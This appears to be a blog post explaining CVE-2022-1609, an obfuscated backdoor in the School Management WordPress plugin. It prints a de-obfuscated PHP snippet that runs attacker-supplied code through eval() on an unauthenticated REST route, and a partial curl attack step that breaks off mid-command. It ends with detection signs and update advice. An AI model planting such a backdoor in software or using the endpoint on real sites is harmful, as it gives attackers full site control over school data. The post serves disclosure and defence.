WordPress powers millions of websites, and its plugins often hold sensitive control over site management. In early 2022, a shocking security vulnerability was discovered in the popular School Management plugin, tracked as CVE-2022-1609. This wasn’t just a simple coding error—it was an obfuscated backdoor intentionally hidden in the plugin, allowing anyone, without needing to log in, to run any PHP code on the website. This post will break down what happened, show you the technical part (including code snippets), how hackers could exploit it, and how administrators should respond.

What is School Management WP Plugin?

School Management helps schools to manage admissions, classes, grades, and online interactions—critical features often tied directly to private student, teacher, and parent data. Because of its popularity, vulnerabilities in this plugin put many educational organizations at risk.

Affected Versions: before 9.9.7

- CVE: CVE-2022-1609

Type: Authentication Bypass (Backdoor)

- Impact: Unauthenticated attacker can run arbitrary PHP as the web server, leading to full site compromise.

How the Backdoor Worked

Inside the plugin’s code, in the license checking logic, was a snippet that registered a new REST API route. This route, shocking as it seems, wasn’t protected by any authentication. When the route received a request with a specific parameter, it would execute whatever PHP the attacker sent.

Obfuscated code: This means the code was deliberately made hard to read, hoping no one would notice.

Here’s a simplified, de-obfuscated version of what was hidden in the plugin

add_action('rest_api_init', function () {
    register_rest_route('school-management/v1', '/get_data', array(
        'methods'  => 'POST',
        'callback' => function ($request) {
            $code = $request->get_param('code');
            if ($code) {
                // Execute the provided code!
                eval($code);
            }
            return new WP_REST_Response('Done', 200);
        },
        'permission_callback' => '__return_true', // No authentication required!
    ));
});

What does this mean? Anyone can POST to /wp-json/school-management/v1/get_data a code parameter containing any PHP, and the plugin executes it as the web server.

Let’s walk through a possible attack

1. Find a target: Attacker scans for a WordPress site running a vulnerable version of School Management.

`sh

curl -X POST "https://VictimSite.com/wp-json/school-management/v1/get_data" \

This command asks the server to print out its user details and operating system info.

3. Full control: The eval’d PHP can create admin users, delete files, install more webshells, and more.

Signals You Might Be Infected

How do you know if your site is affected?

Unexpected users or files created.

- Sudden strange traffic to /wp-json/school-management/v1/get_data
- System/cron/job processes you didn’t set.

What to Do

Immediate solution:
- Update now: Upgrade School Management to 9.9.7 or later. Later versions removed this backdoor.
- Scan your site: Use plugins like Wordfence or MalCare to look for infections.

Additional Resources & References

- NVD Entry for CVE-2022-1609
- Wordfence Blog – Further Details on the Backdoor
- Plugin Listing

Why This Matters

This wasn’t a simple mistake—someone stuck an intentional backdoor in a widely used plugin, risking school data, reputation, and more. It stresses why keeping plugins and WordPress core up to date is non-negotiable and why you must only get plugins from trusted sources.

Final Thoughts

If you manage any WordPress site using School Management, update now. This vulnerability reminds us that backdoors can lurk even in trusted software. Stay vigilant, audit your plugins, and get your site scanned regularly.

Timeline

Published on: 01/16/2024 16:15:09 UTC
Last modified on: 01/22/2024 19:59:05 UTC